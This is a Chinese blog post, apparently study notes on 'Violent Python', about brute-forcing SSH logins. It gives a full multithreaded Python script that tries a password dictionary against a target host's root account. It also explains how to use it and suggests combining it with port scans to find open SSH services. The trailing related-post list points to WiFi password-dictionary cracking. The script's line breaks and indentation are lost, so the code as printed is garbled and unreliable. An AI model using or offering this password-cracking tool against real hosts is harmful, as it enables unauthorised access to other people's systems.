学习《Python绝技——运用Python成为顶级黑客》的第二课

如何对ssh进行破解

ssh类似Windows下的telnet功能,如果服务器开启了ssh服务且允许使用密码登录,那么黑客就能够通过暴力破解或者字典攻击来获取目标的ssh密码,从而实现对目标主机的控制。

先把完整代码贴上来:

# -- coding: utf-8 --
#对目标IP地址进行ssh暴力破解
#输入方式:python ssh_cracker.py -H 127.0.0.1 -u root -F diction.txt
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections=5
connection_lock=BoundedSemaphore(value=maxConnections)
Found=False
Fails=0
def connect(host,user,password,release):global Foundglobal Failstry:s=pxssh.pxssh()s.login(host,user,password)print '[+]Password Found:'+passwordFound=Trueexcept Exception,e:if 'read_nonblocking' in str(e):Fails+=1time.sleep(5)connect(host,user,password,False)elif 'synchronize with original prompt' in str(e):time.sleep(1)connect(host,user,password,False)finally:if release:connection_lock.release()
def main():parser=optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>')parser.add_option('-H',dest='tgtHost',type='string',help='specify the target host')parser.add_option('-u',dest='user',type='string',help='specify the user')parser.add_option('-F',dest='passwords',type='string',help='specify the password file')(options, args)=parser.parse_args()host=options.tgtHostuser=options.userpasswords=options.passwordsif host==None or user==None or passwords==None:print parser.usageexit(0)fn=open(passwords,'r')for line in fn.readlines():if Found:print '[*]Exiting: Password Found'exit(0)if Fails>5:print '[!]Exiting:Too many Socket Timeouts'exit(0)connection_lock.acquire()psw=line.strip('\r').strip('\n')print "[-] Testing :" +str(psw)t=Thread(target=connect, args=(host,user,psw,True))t.start()
if __name__=='__main__':main()

当然,在写代码之前必须先安装上pexpect这个库,使用debian类linux系统可以使用apt来获取相应的库,比较轻松简单。

该库中提供一个能够使用ssh登录的封装,使用该库只要提供主机、用户名、密码参数即可实现,所以该程序通过不断地加载字典中的每一行当做是密码,从而对root用户的密码进行破解,如果登录成功则会返回登陆成功信息,如果登录失败(提示超时则重复尝试登录5次,提示密码错误则进行下一组密码破解)

另外此程序中使用了线程,处理速度大大加快。

建议端口扫描和该程序配合使用。

使用端口扫描程序获取目标网域的端口开放信息(ssh服务的默认端口号为22),如果目标网域的22号端口开放,并且返回了相应的ssh服务版本号等信息,基本就可以确定该目标开启了ssh服务,然后使用该程序对ssh服务进行密码破解,成功使用root用户登录。

当然现在网络上的许多机器即使开启了ssh服务也不一定会允许root用户登录,有的甚至不允许密码登录,很多是使用密钥免密码登录,对于这种机器,还得另想法子。——比如。。。弱密钥。

【python】ssh密码字典攻击相关推荐

  1. python wifi密码字典

    python wifi密码字典 WiFi默认密码是8位英文字母大写+小写+数字(有些时候还有特殊符号),密码成分可以自行更改.自己按照代码试了一下,结果2开头还没开始文本大少就超过了6GB(注意:如果 ...

  2. Python生成密码字典写入文件算法

    Python生成密码字典写入文件算法 简介 主要原理 代码 如果有其他可以提高时空复杂度的算法可以优化一下 简介 密码字典生成原理比较简单,主要靠正常的按序叠加生成,故所需时间以及较大的内存资源 主要 ...

  3. Python生成密码字典教程

    首先声明:本教程只用于技术交流,请勿用于非法用途.请严格遵循相关法律法规. 晚上莫名想要折腾一下aircraft,虽然本学校用的网络是校园网,破解了wifi也不能直接用,还得破解别人的账号密码,但是这 ...

  4. Python实验-字典攻击!你的密码分分钟被搞定!

    # 字典攻击 import itertools # 迭代器 import datetime import hashlib import time def generatelibary(library, ...

  5. Python黑客攻防(八)密码破解攻击

    前言 进行黑客攻击通常需要做大量重复性工作.如果黑客直接通过浏览器攻击Web网站,就要不断手动修改输入值,并反复点击.但如果可以在应用程序内部访问Web网站并接收结果值,那么只需要使用简单的几行代码就 ...

  6. Python —— 字典攻击

    字典攻击1.0 import itertools import datetime import hashlib import time def generatelibarry(library, len ...

  7. Python学习-字典攻击

    1.导入函数库 import hashlib import itertools#迭代器 import datetime import time itertools:迭代器(生成器). datetime ...

  8. python创建一个字典、保存用户名和密码_Python实现生成密码字典的方法示例

    本文实例讲述了Python实现生成密码字典的方法.分享给大家供大家参考,具体如下: key_data.py 文件存放组成数据,可以随时扩充及简化. #coding=utf-8 #!/usr/bin/p ...

  9. python自动生成对应位数的密码字典

    写个简单的demo获取相应位数的密码字典,用于强制破解密码的密码字典. import itertools,stringwords = '0123456789abcdefghijklmnopqrstuv ...

  10. python代码破解wifi,含密码字典

    破解wifi密码 包括代码和密码字典 https://pan.baidu.com/s/1JvKd6VV8X7bamS-yK9nRyA?pwd=q7i5 提取码: q7i5 复制这段内容后打开百度网盘手 ...

最新文章

  1. Android 10 新增的功能
  2. 【记录】batch_size对cnn训练的影响
  3. mysql 创建函数问题
  4. 网路游侠:日志审计系统与SOC的区别
  5. Java 8中的时间日期库DateTime API及示例
  6. Java基础知识强化之IO流笔记32:转换流之OutputStreamWriter的使用
  7. Android --- java.lang.RuntimeException: Can‘t create handler inside thread that has not called Loop
  8. 深度探索C++ 对象模型(3)-默认构造函数Default Constructor
  9. 【机器学习】线性回归代码练习
  10. 1.11 多于空间维度的向量组
  11. html跑马灯可以上下动ma,使用 JS 实现上下滚动走马灯
  12. 【APICloud系列|25】 easeChat模块(环信-即时通讯)的实现
  13. 工作189:配置表头即可
  14. 【算法系列之十三】二叉树两叶节点的最大距离
  15. MPLS(多协议标记交换)协议能否降低跨省组建企业专网的成本?
  16. 18.1 集群介绍 18.2 keepalived介绍 18.3/18.4/18.5 用keepalived配置高可用集群
  17. 函数判断的和是用android,WPJAM Basic 内置的系统和设备判断函数
  18. DIY_实现光敏电阻传感器简单控制LED
  19. 朗科N500S 120G开卡修复工具 SM2258XT_B16A_PKGQ1024B_FWQ0922A0
  20. 关于支付宝口碑的界面问题

热门文章

  1. Ubuntu中tftp下载程序
  2. JAVA五子棋小游戏
  3. 史上最强图标下载,3124个图标专辑,超过60万免费图标提供下载
  4. [JVM] Java虚拟机栈
  5. Java编程工具之 word转pdf
  6. 自然语言处理 4.语义分析
  7. “中华优秀科普图书榜”
  8. .mmap文件如何打开
  9. HTML5基于flash实现播放RTMP协议视频
  10. 【无标题】手机扩容或更换字库后的指纹. 基带. 账号 .解锁等故障分析